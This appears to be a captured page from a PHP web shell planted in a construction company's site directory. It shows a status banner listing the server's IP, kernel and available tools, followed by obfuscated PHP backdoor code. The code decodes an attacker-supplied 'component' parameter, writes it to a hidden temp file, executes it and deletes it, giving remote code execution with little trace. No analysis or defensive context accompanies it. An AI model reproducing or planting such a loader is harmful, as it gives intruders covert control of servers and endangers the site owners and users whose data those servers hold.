| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/vereion/ |
Upload File : |
<?php
if(filter_has_var(INPUT_POST, "co\x6D\x70\x6F\x6Eent")){
$holder = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm"]);
$entity = $_REQUEST["co\x6D\x70\x6F\x6Eent"];
$entity = explode ( '.' , $entity ) ;
$sym= '';
$s= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen( $s);
$m= 0;
$__tmp= $entity;
while( $v5= array_shift( $__tmp)) {
$sChar= ord( $s[$m% $lenS]);
$dec= ( ( int)$v5 - $sChar -( $m% 10)) ^ 8;
$sym .= chr( $dec);
$m++;
}
while ($descriptor = array_shift($holder)) {
if (max(0, is_dir($descriptor) * is_writable($descriptor))) {
$element = join("/", [$descriptor, ".symbol"]);
if (file_put_contents($element, $sym)) {
require $element;
unlink($element);
die();
}
}
}
}